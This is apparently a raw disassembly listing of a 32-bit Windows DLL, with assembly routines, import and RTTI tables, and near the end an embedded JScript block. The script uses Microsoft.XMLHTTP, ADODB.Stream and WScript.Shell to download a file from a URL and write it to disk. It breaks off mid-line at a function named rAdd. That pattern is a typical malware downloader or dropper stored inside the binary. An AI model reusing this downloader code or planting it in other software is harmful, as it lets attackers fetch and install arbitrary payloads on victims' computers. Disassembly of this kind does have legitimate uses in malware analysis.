; CODE XREF: sub_41B903+2Ej mov esp, ds:10004020h loc_41B94B: ; CODE XREF: sub_41B903+16j ; sub_41B903+1Fj ... mov eax, [esi+814h] jmp short loc_41B993 ; --------------------------------------------------------------------------- loc_41B953: ; CODE XREF: sub_41B903+97j mov ecx, eax shl ecx, 5 add ecx, esi cmp dword ptr [ecx+828h], 2 jnz short loc_41B979 mov eax, [ecx+824h] mov ds:10004024h, eax push dword ptr ds:10004024h mov eax, ds:10004028h loc_41B979: ; CODE XREF: sub_41B903+5Ej add eax, 41h shl eax, 5 mov eax, [eax+esi] mov ds:10004024h, eax push dword ptr ds:10004024h mov eax, ds:10004028h dec eax loc_41B993: ; CODE XREF: sub_41B903+4Ej cmp eax, ebx mov ds:10004028h, eax jg short loc_41B953 mov eax, [esi+80Ch] mov ds:10004028h, eax mov eax, ds:10004014h mov [esi+14A0h], eax mov eax, [ebp+arg_0] mov ds:10004014h, eax call dword ptr ds:10004028h mov ds:10004028h, eax mov ds:10004024h, edx cmp edi, ebx jz short loc_41B9EA mov eax, ds:10004014h test byte ptr [eax+810h], 10h jnz short loc_41B9EA mov ds:10004020h, esp mov esp, ds:1000401Ch pop ebp loc_41B9EA: ; CODE XREF: sub_41B903+CAj ; sub_41B903+D8j mov eax, ds:10004014h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+14A0h] xor edx, edx mov ds:10004014h, ecx mov ecx, [eax+810h] inc edx test cl, dl jz short loc_41BA67 cmp edi, ebx jle short loc_41BA44 test cl, 10h jnz short loc_41BA44 cmp [eax+814h], edx jl short loc_41BA67 lea ecx, [eax+848h] loc_41BA25: ; CODE XREF: sub_41B903+13Dj mov esi, [ecx] mov edi, ds:10004020h lea esi, [edi+esi*4] inc edx mov ds:10004020h, esi add ecx, 20h cmp edx, [eax+814h] jle short loc_41BA25 jmp short loc_41BA67 ; --------------------------------------------------------------------------- loc_41BA44: ; CODE XREF: sub_41B903+10Dj ; sub_41B903+112j cmp [eax+814h], edx mov esi, edx jl short loc_41BA67 lea ecx, [eax+848h] loc_41BA54: ; CODE XREF: sub_41B903+162j cmp dword ptr [ecx], 2 jnz short loc_41BA5A pop edx loc_41BA5A: ; CODE XREF: sub_41B903+154j pop edx inc esi add ecx, 20h cmp esi, [eax+814h] jle short loc_41BA54 loc_41BA67: ; CODE XREF: sub_41B903+109j ; sub_41B903+11Aj ... cmp ds:10004014h, ebx jnz short loc_41BA75 mov ds:10004020h, ebx loc_41BA75: ; CODE XREF: sub_41B903+16Aj mov ecx, ds:10004028h mov [eax+820h], ecx mov ecx, ds:10004024h mov [eax+824h], ecx mov [eax+4], ebx test byte ptr [eax+810h], 20h jz short loc_41BAA4 call dword ptr ds:10003034h mov ds:10004018h, eax loc_41BAA4: ; CODE XREF: sub_41B903+194j mov eax, [ebp+arg_0] pop esi pop edi pop ebx mov esp, ebp pop ebp retn sub_41B903 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push edi push esi mov ds:10004024h, esp add dword ptr ds:10004024h, 4 add dword ptr ds:10004024h, 14h mov [ebp-4], eax mov esi, [ebp-4] jmp short loc_41BAD5 ; --------------------------------------------------------------------------- loc_41BAD3: ; CODE XREF: .data:0041BADDj mov esi, eax loc_41BAD5: ; CODE XREF: .data:0041BAD1j mov eax, [esi+14A0h] test eax, eax jnz short loc_41BAD3 push esi call loc_41AADA mov [esi+14A0h], eax or byte ptr [eax+810h], 80h and dword ptr [eax+149Ch], 0 xor esi, esi inc esi pop ecx mov ecx, esi mov ds:10004028h, ecx cmp [eax+814h], esi mov [ebp-4], eax jl short loc_41BB73 push 4 pop edx loc_41BB13: ; CODE XREF: .data:0041BB71j mov edi, ds:10004024h mov edi, [edi] add ecx, 41h shl ecx, 5 mov [ecx+eax], edi add ds:10004024h, edx add [eax+149Ch], edx mov ecx, ds:10004028h shl ecx, 5 add ecx, eax cmp dword ptr [ecx+828h], 2 jnz short loc_41BB5E mov edi, ds:10004024h mov edi, [edi] mov [ecx+824h], edi add ds:10004024h, edx add [eax+149Ch], edx loc_41BB5E: ; CODE XREF: .data:0041BB42j mov ecx, ds:10004028h inc ecx mov ds:10004028h, ecx cmp ecx, [eax+814h] jle short loc_41BB13 loc_41BB73: ; CODE XREF: .data:0041BB0Ej mov [eax+4], esi mov eax, [ebp-4] push ebp mov ds:10004020h, esp mov esp, ds:1000401Ch pop ebp pop esi pop edi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB8E proc near ; CODE XREF: .data:0041AC2Cp arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0 push ebx push edi push esi mov eax, [ebp+arg_0] add eax, 820h push dword ptr [eax] push dword ptr [eax+4] mov eax, [ebp+arg_0] mov eax, [eax+810h] and eax, 1 jnz short loc_41BBC2 mov eax, [ebp+arg_0] mov al, [eax+149Ch] mov ds:10004009h, al jmp short loc_41BBC9 ; --------------------------------------------------------------------------- loc_41BBC2: ; CODE XREF: sub_41BB8E+22j mov byte ptr ds:10004009h, 0 loc_41BBC9: ; CODE XREF: sub_41BB8E+32j mov dword ptr ds:10004004h, 10004008h push [ebp+arg_0] call dword ptr ds:10003008h pop edx pop eax push ebp mov ds:1000401Ch, esp mov esp, ds:10004020h pop ebp pop esi pop edi pop ebx mov esp, ebp pop ebp jmp dword ptr ds:10004004h sub_41BB8E endp ; =============== S U B R O U T I N E ======================================= sub_41BBF8 proc near ; CODE XREF: sub_41B5DB+CBp cmp dword ptr [esi+80Ch], 0 jnz short loc_41BC49 inc dword ptr ds:10004010h mov eax, ds:10004010h or dword ptr [esi+810h], 2 push 40h push 1000h push 0Ah push 0 mov [esi+1498h], eax call dword ptr ds:10003038h mov [esi+80Ch], eax mov byte ptr [eax], 0B8h inc eax mov [eax], esi add eax, 4 mov byte ptr [eax], 0E9h inc eax mov ecx, 100024CEh sub ecx, eax sub ecx, 4 mov [eax], ecx loc_41BC49: ; CODE XREF: sub_41BBF8+7j mov eax, [esi+80Ch] retn sub_41BBF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC50 proc near ; CODE XREF: .data:0041AC1Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h and [ebp+var_4], 0 push ebx xor ebx, ebx inc ebx cmp [edi+814h], ebx push esi jl short loc_41BC91 mov edx, [edi+814h] lea eax, [edi+83Ch] loc_41BC73: ; CODE XREF: sub_41BC50+3Fj mov ecx, [eax] cmp ecx, ebx mov esi, [ebp+var_4] jge short loc_41BC84 mov ecx, [eax+0Ch] lea ecx, [esi+ecx*4] jmp short loc_41BC88 ; --------------------------------------------------------------------------- loc_41BC84: ; CODE XREF: sub_41BC50+2Aj lea ecx, [esi+ecx-1] loc_41BC88: ; CODE XREF: sub_41BC50+32j add eax, 20h dec edx mov [ebp+var_4], ecx jnz short loc_41BC73 loc_41BC91: ; CODE XREF: sub_41BC50+15j mov eax, [edi+80Ch] test eax, eax jnz short loc_41BCAE push [ebp+var_4] push 40h call dword ptr ds:10003000h mov [edi+80Ch], eax jmp short loc_41BCBE ; --------------------------------------------------------------------------- loc_41BCAE: ; CODE XREF: sub_41BC50+49j cmp [ebp+var_4], 0 jnz short loc_41BCBE push eax call dword ptr ds:10003004h mov [ebp+var_4], eax loc_41BCBE: ; CODE XREF: sub_41BC50+5Cj ; sub_41BC50+62j cmp [edi+814h], ebx mov eax, [edi+80Ch] mov [ebp+var_C], eax mov [ebp+var_10], ebx jl loc_41BDA1 lea esi, [edi+840h] jmp short loc_41BCE1 ; --------------------------------------------------------------------------- loc_41BCDE: ; CODE XREF: sub_41BC50+14Bj xor ebx, ebx inc ebx loc_41BCE1: ; CODE XREF: sub_41BC50+8Cj mov eax, [esi-4] xor ecx, ecx cmp eax, ebx jge short loc_41BCF5 mov ebx, [esi+8] shl ebx, 2 loc_41BCF0: ; CODE XREF: sub_41BC50+101j mov [ebp+var_8], esi jmp short loc_41BD57 ; --------------------------------------------------------------------------- loc_41BCF5: ; CODE XREF: sub_41BC50+98j or [ebp+var_20], 0FFFFFFFFh lea ebx, [eax-1] mov eax, [esi-8] test eax, eax mov [ebp+var_1C], 0FFh mov [ebp+var_18], 0FFFFh mov [ebp+var_14], 0FFFFFFh jz short loc_41BD53 cmp eax, 1 jz short loc_41BD3C cmp eax, 2 jz short loc_41BD30 jle short loc_41BD57 cmp eax, 5 jg short loc_41BD57 mov eax, [esi] mov [ebp+var_8], eax jmp short loc_41BD57 ; --------------------------------------------------------------------------- loc_41BD30: ; CODE XREF: sub_41BC50+D0j mov eax, [ebp+var_4] and dword ptr [esi+4], 0 xor ecx, ecx mov [esi], eax inc ecx loc_41BD3C: ; CODE XREF: sub_41BC50+CBj test ebx, ebx jl short loc_41BD49 cmp ebx, 4 jge short loc_41BD49 mov eax, ebx jmp short loc_41BD4B ; --------------------------------------------------------------------------- loc_41BD49: ; CODE XREF: sub_41BC50+EEj ; sub_41BC50+F3j xor eax, eax loc_41BD4B: ; CODE XREF: sub_41BC50+F7j mov eax, [ebp+eax*4+var_20] and [esi], eax jmp short loc_41BCF0 ; --------------------------------------------------------------------------- loc_41BD53: ; CODE XREF: sub_41BC50+C6j and [ebp+var_8], 0 loc_41BD57: ; CODE XREF: sub_41BC50+A3j ; sub_41BC50+D2j ... cmp [ebp+var_8], 0 jz short loc_41BD89 cmp dword ptr [esi+0Ch], 0 jnz short loc_41BD67 test ecx, ecx jz short loc_41BD75 loc_41BD67: ; CODE XREF: sub_41BC50+111j push [ebp+var_C] mov ecx, [ebp+var_8] mov eax, ebx call sub_41AAB8 pop ecx loc_41BD75: ; CODE XREF: sub_41BC50+115j cmp dword ptr [esi+10h], 0 jz short loc_41BD89 push [ebp+var_8] mov ecx, [ebp+var_C] mov eax, ebx call sub_41AAB8 pop ecx loc_41BD89: ; CODE XREF: sub_41BC50+10Bj ; sub_41BC50+129j add [ebp+var_C], ebx inc [ebp+var_10] mov eax, [ebp+var_10] add esi, 20h cmp eax, [edi+814h] jle loc_41BCDE loc_41BDA1: ; CODE XREF: sub_41BC50+80j mov eax, [edi+80Ch] pop esi mov [edi+820h], eax pop ebx leave retn sub_41BC50 endp ; --------------------------------------------------------------------------- db 83h, 7Ch, 24h dd 448B0108h, 0CA30424h, 75100040h, 4020683Bh, 406A1000h dd 868046Ah, 0FF100040h, 303C15h, 0A3C03310h, 10004020h dd 401CA3h, 4018A310h, 14A31000h, 0A3100040h, 10004010h dd 400805C6h, 0A2C21000h, 1000400Ah, 0C240C033h, 0CCCC000Ch dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41BE10 proc near ; CODE XREF: .data:0041ADFEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebp xor edi, edi xor ebp, ebp mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41BE34 inc edi inc ebp mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41BE34: ; CODE XREF: sub_41BE10+Dj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41BE50 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41BE50: ; CODE XREF: sub_41BE10+2Aj or eax, eax jnz short loc_41BE7C mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+0Ch+arg_8] mov ecx, eax mov eax, esi mul [esp+0Ch+arg_8] add edx, ecx jmp short loc_41BEC3 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BE10+42j mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41BE8A: ; CODE XREF: sub_41BE10+84j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41BE8A div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41BEB8 cmp edx, [esp+0Ch+arg_4] ja short loc_41BEB8 jb short loc_41BEC1 cmp eax, [esp+0Ch+arg_0] jbe short loc_41BEC1 loc_41BEB8: ; CODE XREF: sub_41BE10+98j ; sub_41BE10+9Ej dec esi sub eax, [esp+0Ch+arg_8] sbb edx, [esp+0Ch+arg_C] loc_41BEC1: ; CODE XREF: sub_41BE10+A0j ; sub_41BE10+A6j xor ebx, ebx loc_41BEC3: ; CODE XREF: sub_41BE10+6Aj sub eax, [esp+0Ch+arg_0] sbb edx, [esp+0Ch+arg_4] dec ebp jns short loc_41BED5 neg edx neg eax sbb edx, 0 loc_41BED5: ; CODE XREF: sub_41BE10+BCj mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi dec edi jnz short loc_41BEE9 neg edx neg eax sbb edx, 0 loc_41BEE9: ; CODE XREF: sub_41BE10+D0j pop ebp pop esi pop edi retn 10h sub_41BE10 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= sub_41BEF0 proc near ; CODE XREF: .data:0041ADACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41BF09 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41BF09: ; CODE XREF: sub_41BEF0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41BEF0 endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41BF30 proc near ; CODE XREF: .data:0041AE8Cp cmp cl, 40h jnb short loc_41BF4A cmp cl, 20h jnb short loc_41BF40 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41BF40: ; CODE XREF: sub_41BF30+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41BF4A: ; CODE XREF: sub_41BF30+3j xor eax, eax xor edx, edx retn sub_41BF30 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= sub_41BF50 proc near ; CODE XREF: .data:0041AE5Ep cmp cl, 40h jnb short loc_41BF6B cmp cl, 20h jnb short loc_41BF60 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_41BF60: ; CODE XREF: sub_41BF50+8j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_41BF6B: ; CODE XREF: sub_41BF50+3j sar edx, 1Fh mov eax, edx retn sub_41BF50 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41BF80 proc near ; CODE XREF: sub_41B903+35p arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_41BF95 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_41BF95: ; CODE XREF: sub_41BF80+5j push ecx lea ecx, [esp+4+arg_0] loc_41BF9A: ; CODE XREF: sub_41BF80+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BF9A sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BF80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 8 dup(0) dd 313Ch, 314Ah, 3158h, 3166h, 3172h, 317Eh, 318Ch, 31A0h dd 31B0h, 31C2h, 31CEh, 31E4h, 31F0h, 3206h, 3216h, 3226h dd 0 dd 3246h, 0 dd 3270h, 325Eh, 0 dd 6425h, 41h, 6C6C6163h, 6B636162h, 6425h, 6F727265h dd 72h, 6B6Fh, 0 dd 1, 2, 3 dup(1), 0 dd 30E4h, 2 dup(0) dd 3238h, 3000h, 3128h, 2 dup(0) dd 3252h, 3044h, 3130h, 2 dup(0) dd 3282h, 304Ch, 5 dup(0) dd 313Ch, 314Ah, 3158h, 3166h, 3172h, 317Eh, 318Ch, 31A0h dd 31B0h, 31C2h, 31CEh, 31E4h, 31F0h, 3206h, 3216h, 3226h dd 0 dd 3246h, 0 dd 3270h, 325Eh, 0 dd 6C4701EEh, 6C61626Fh, 6F6C6C41h, 1FD0063h, 626F6C47h dd 69536C61h, 657Ah, 6C4701F5h, 6C61626Fh, 65657246h, 3B60000h dd 7274736Ch, 41797063h, 3B90000h, 7274736Ch, 6E797063h dd 0EF0041h, 65657246h, 7262694Ch, 797261h, 65470177h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0248h, 694C6461h dd 72617262h, 4179h, 65470198h, 6F725074h, 64644163h, 73736572h dd 3AD0000h, 7274736Ch, 41746163h, 26B0000h, 746C754Dh dd 74794269h, 576F5465h, 43656469h, 726168h, 736C03BCh dd 656C7274h, 416Eh, 69570387h, 68436564h, 6F547261h, 746C754Dh dd 74794269h, 1690065h, 4C746547h, 45747361h, 726F7272h dd 3730000h, 74726956h, 416C6175h, 636F6C6Ch, 3790000h dd 74726956h, 506C6175h, 65746F72h, 7463h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D60000h, 72707377h, 66746E69h, 53550041h dd 32335245h, 6C6C642Eh, 80000h, 49534C43h, 6F724644h dd 7274536Dh, 676E69h, 74530134h, 676E6972h, 6D6F7246h dd 44495547h, 6C6F0032h, 2E323365h, 6C6C64h, 2 dup(0) dd 40C0EE1Ah, 0 dd 32FEh, 1, 2 dup(7), 32B8h, 32D4h, 32F0h, 1000h, 15E2h dd 102Fh, 10B6h, 1566h, 1717h, 10D5h, 3309h, 330Fh, 3314h dd 3319h, 331Eh, 3322h, 332Ah, 10000h, 30002h, 50004h dd 79530006h, 6D657473h, 6C6C642Eh, 6C6C4100h, 4300636Fh dd 6C6C61h, 79706F43h, 65724600h, 65470065h, 6E490074h dd 4F343674h, 74530070h, 65726Fh, 34h dup(0) dd 1000h, 0E0h, 300E3005h, 30363023h, 30823040h, 30AD3091h dd 30C430BBh, 30E030D0h, 30F430EEh, 31463105h, 3154314Ch dd 31B43159h, 31CD31BAh, 31EB31D5h, 320431F3h, 3228320Ah dd 32393230h, 32503248h, 3263325Dh, 32753270h, 3297328Eh dd 32CB32BEh, 349F32D2h, 34C334BCh, 350C3501h, 3536352Fh dd 35543542h, 356B355Bh, 357F3574h, 35C335A9h, 35F435ECh dd 367635FEh, 36F936EAh, 3726370Fh, 377B3731h, 3A2438E4h dd 3A763A6Ch, 3B7A3A89h, 3C333C2Ch, 3D013C91h, 3EA13E3Ah dd 3EC23EB2h, 3EE73EE0h, 3F0D3F09h, 3F153F11h, 3F1D3F19h dd 3F253F21h, 3F2D3F29h, 3F353F31h, 3F3D3F39h, 3F453F41h dd 3F4D3F49h, 3F553F51h, 3F5D3F59h, 3FDE3F61h, 3FE6h, 2000h dd 0CCh, 30B13056h, 30DB30D0h, 30F330E2h, 310F3102h, 314A3116h dd 321031A4h, 32243217h, 3236322Fh, 32473242h, 325E3257h dd 32763267h, 32873280h, 32BD329Bh, 32E032C4h, 332E3308h dd 334D3347h, 3367335Fh, 3390338Ah, 33A33395h, 33AE33A9h dd 33C333B6h, 33D633C8h, 33E133DCh, 33F033E7h, 340533FFh dd 341F340Bh, 34533449h, 34913489h, 34A33497h, 34C034BBh dd 34DF34D9h, 352134E6h, 35463535h, 35663552h, 35803574h dd 359C3587h, 35DC35A2h, 35EB35E4h, 35F835EFh, 36073601h dd 36233614h, 36463628h, 36C2365Eh, 37DB36D7h, 37EB37E2h dd 37F837F1h, 380237FDh, 380C3807h, 38183812h, 11Eh dup(0) dd 1001272Ch, 1001CE1Ah, 1001CE3Ch, 1001CE52h, 1001CDC1h dd 1001CDE9h, 1001CE04h, 1001CD90h, 1001CDB0h, 0 dd 1001CE30h, 2 dup(0) dd 10010EEDh, 10015C49h, 10017910h, 100137A6h, 2 dup(0) dd 10015CF2h, 2 dup(0) dd 100137B9h, 4 dup(0) dd 10001000h, 1001E160h, 0 a_?avcatlexce_0 db '.?AVCAtlException@ATL@@',0 dd 1001D888h, 1001D874h, 1001D85Ch, 1001D848h, 1001D828h dd 1001D810h, 1001D7E4h, 1001D7C8h, 1001D7B4h, 0 dd 0FFFFFFFFh, 1001D4CCh, 10023EA4h, 1, 4 dup(0) dd 1001E160h, 0 a_?avexceptio_0 db '.?AVexception@@',0 dd 1001E160h, 0 a_?avbad_cast_0 db '.?AVbad_cast@@',0 align 4 dd 0BB40E64Eh, 19930520h, 3 dup(0) dd 1001E160h, 0 a_?avtype_inf_0 db '.?AVtype_info@@',0 dd 10013758h, 0 dd 10014575h, 100128DAh, 10013758h, 0FFFFFFFFh, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 22h dup(0) dd 10h, 0 dd 43h, 0 dd 1, 8 dup(0) dd 2 dup(1), 3 dup(0) dd 10023B5Ch, 3 dup(0) dd 1001E8E0h, 10023AA0h, 0 dd 10023280h, 0 dd 1, 8 dup(0) dd 43h, 21h dup(0) dd 43h, 21h dup(0) dd 1001E7A0h, 0 dd 1001888Bh, 1001E794h, 10023278h, 1001888Bh, 1001E788h dd 10023278h, 1001866Fh, 1001E77Ch, 10023278h, 10018430h dd 1001E770h, 10023278h, 1001818Ah, 1001E768h, 10023278h dd 100180CCh, 1, 16h, 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6 dd 9, 7, 0Ch, 8, 0Ch, 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h dd 0Dh, 16h, 0Fh, 2, 10h, 0Dh, 11h, 2 dup(12h), 2, 21h dd 0Dh, 35h, 2, 41h, 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h dd 0Dh, 57h, 16h, 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch dd 72h, 9, 6, 16h, 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h dd 84h, 0Dh, 91h, 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h dd 0Dh, 0B7h, 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 1001E8E0h dd 1001EAE2h, 10024D60h, 0 dd 10024D60h, 101h, 2 dup(0) dd 1000h, 4 dup(0) dd 2, 1, 6 dup(0) dd 2 dup(2), 8Dh dup(0) dd 0FFFFFFFFh, 0A80h, 8 dup(0) dd 0C0000005h, 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dd 3, 7, 78h, 0Ah, 2, 1001F0F0h, 8, 1001F0C4h, 9, 1001F098h dd 0Ah, 1001F000h, 10h, 1001EFD4h, 11h, 1001EFA4h, 12h dd 1001EF80h, 13h, 1001EF54h, 18h, 1001EF1Ch, 19h, 1001EEF4h dd 1Ah, 1001EEBCh, 1Bh, 1001EE84h, 1Ch, 1001EE5Ch, 1Dh dd 1001EDB8h, 78h, 1001EDA8h, 79h, 1001ED98h, 7Ah, 1001ED88h dd 0FCh, 1001ED84h, 0FFh, 1001ED74h, 2 dup(0) dd 8040201h, 0 dd 3A4h, 82798260h, 21h, 0 dd 0DFA6h, 0 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd 1, 10023AA0h, 1001F324h, 1001F320h, 1001F31Ch, 1001F318h dd 1001F314h, 1001F310h, 1001F30Ch, 1001F304h, 1001F2FCh dd 1001F2F4h, 1001F2E8h, 1001F2DCh, 1001F2D4h, 1001F2C8h dd 1001F2C4h, 1001F2C0h, 1001F2BCh, 1001F2B8h, 1001F2B4h dd 1001F2B0h, 1001F2ACh, 1001F2A8h, 1001F2A4h, 1001F2A0h dd 1001F29Ch, 1001F298h, 1001F290h, 1001F284h, 1001F27Ch dd 1001F274h, 1001F2B4h, 1001F26Ch, 1001F264h, 1001F25Ch dd 1001F250h, 1001F248h, 1001F23Ch, 1001F230h, 1001F22Ch dd 1001F228h, 1001F21Ch, 1001F208h, 1001F1FCh, 409h, 1 dd 0 dd 2Eh, 10023B58h, 9 dup(1002475Ch), 2 dup(7F7F7F7Fh) dd 10023B5Ch, 1, 2Eh, 1, 0 dd 7080h, 1, 0FFFFF1F0h, 0 dd 545350h, 0Fh dup(0) dd 544450h, 0Fh dup(0) dd 10023BB0h, 10023BF0h, 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) dd 1, 1001E160h, 0 a_?av?_iosb@h_0 db '.?AV?$_Iosb@H@std@@',0 dd 1001E160h, 0 a_?avios_base_0 db '.?AVios_base@std@@',0 align 4 dd 1001E160h, 0 a_?avruntime__0 db '.?AVruntime_error@std@@',0 dd 1001E160h, 0 a_?avfailure@_0 db '.?AVfailure@ios_base@std@@',0 align 10h dd 0FFFFFFFFh, 1001E160h, 0 a_?avlogic_er_0 db '.?AVlogic_error@std@@',0 align 4 dd 1001E160h, 0 a_?avlength_e_0 db '.?AVlength_error@std@@',0 align 4 dd 1001E160h, 0 a_?avout_of_r_0 db '.?AVout_of_range@std@@',0 align 4 dd 10020338h, 2 dup(10020334h), 10020330h, 1002032Ch, 2 dup(10020328h) dd 10020324h, 10020320h, 1002031Ch, 10020318h, 10020314h dd 10020310h, 1002030Ch, 0 dd 1001E160h, 0 a_?avfacet@lo_0 db '.?AVfacet@locale@std@@',0 align 10h dd 1001E160h, 0 a_?av_locimp@_0 db '.?AV_Locimp@locale@std@@',0 align 8 dw 0Ah unicode 0, <>,0 align 10h aCopyrightC19_0 db 'Copyright (c) 1992-2001 by P.J. Plauger, licensed by Dinkumware, ' db 'Ltd. ALL RIGHTS RESERVED.',0 align 4 dd 460h dup(0) dd 10000h, 17h, 80000018h, 3 dup(0) dd 10000h, 4, 80000030h, 3 dup(0) dd 10000h, 0 dd 48h, 27060h, 407h, 4 dup(0) aVarXmlhttpNe_0 db 'var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");',0Dh,0Ah db 'var BinaryStream = new ActiveXObject("ADODB.Stream");',0Dh,0Ah db 'var WShell = new ActiveXObject("WScript.Shell");',0Dh,0Ah db 0Dh,0Ah db 'function SaveBinaryData(filename, data) {',0Dh,0Ah db 9,'BinaryStream.Type = 1; ',0Dh,0Ah db 9,'BinaryStream.Open();',0Dh,0Ah db 9,'BinaryStream.Write(data);',0Dh,0Ah db 9,'BinaryStream.SaveToFile(filename, 2);',0Dh,0Ah db 9,'BinaryStream.Close();',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function urlGet(url) {',0Dh,0Ah db 9,'var result = false;',0Dh,0Ah db 9,'try {',0Dh,0Ah db 9,9,'xmlhttp.open(',27h,'GET',27h,', url, false /* asynchronous */);',0Dh,0Ah db 9,9,'xmlhttp.send();',0Dh,0Ah db 9,9,'if (xmlhttp.status == 200) result = true;',0Dh,0Ah db 9,'} catch (e) { ; }',0Dh,0Ah db 9,'return result;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function urlSaveFile(url, path, filename) {',0Dh,0Ah db 9,'var m = url.match(/([^\/]*?)($|\?)/);',0Dh,0Ah db 9,'if (!filename) filename = (m && m[1]) ? m[1] : "file";',0Dh,0Ah db 9,'CW.Write(url);',0Dh,0Ah db 9,'if (urlGet(url)) {',0Dh,0Ah db 9,' var fname = path + ',27h,'\\',27h,' + filename;',0Dh,0Ah db 9,9,'SaveBinaryData(fname, xmlhttp.responseBody);',0Dh,0Ah db 9,9,'return fname;',0Dh,0Ah db 9,'}',0Dh,0Ah db 9,'return false;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function rAdd() {',0Dh,0Ah db 9,'var fname = 